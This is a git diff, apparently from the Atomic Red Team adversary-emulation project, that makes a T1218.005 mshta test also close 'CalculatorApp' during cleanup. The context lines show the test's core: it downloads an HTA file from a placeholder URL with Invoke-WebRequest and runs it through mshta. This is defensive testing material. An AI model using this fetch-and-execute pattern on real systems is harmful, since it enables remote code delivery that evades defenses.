diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index 2a77d649..63d922f2 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -19240,7 +19240,8 @@ defense-evasion:
           $var.content|out-file "#{temp_file}"
           mshta "#{temp_file}"
           start-sleep -s 15
-          stop-process -name "calculator" -Force
+          stop-process -name "calculator" -Force -ErrorAction Ignore
+          stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
         cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore
 
           '
diff --git a/atomics/Indexes/windows-index.yaml b/atomics/Indexes/windows-index.yaml
index e444f40b..d2a85f2c 100644
--- a/atomics/Indexes/windows-index.yaml
+++ b/atomics/Indexes/windows-index.yaml
@@ -15783,7 +15783,8 @@ defense-evasion:
           $var.content|out-file "#{temp_file}"
           mshta "#{temp_file}"
           start-sleep -s 15
-          stop-process -name "calculator" -Force
+          stop-process -name "calculator" -Force -ErrorAction Ignore
+          stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
         cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore
 
           '
diff --git a/atomics/T1218.005/T1218.005.md b/atomics/T1218.005/T1218.005.md
index f4c99506..037cd7b6 100644
--- a/atomics/T1218.005/T1218.005.md
+++ b/atomics/T1218.005/T1218.005.md
@@ -129,7 +129,8 @@ $var =Invoke-WebRequest "#{hta_url}"
 $var.content|out-file "#{temp_file}"
 mshta "#{temp_file}"
 start-sleep -s 15
-stop-process -name "calculator" -Force
+stop-process -name "calculator" -Force -ErrorAction Ignore
+stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
 ```
 
 #### Cleanup Commands: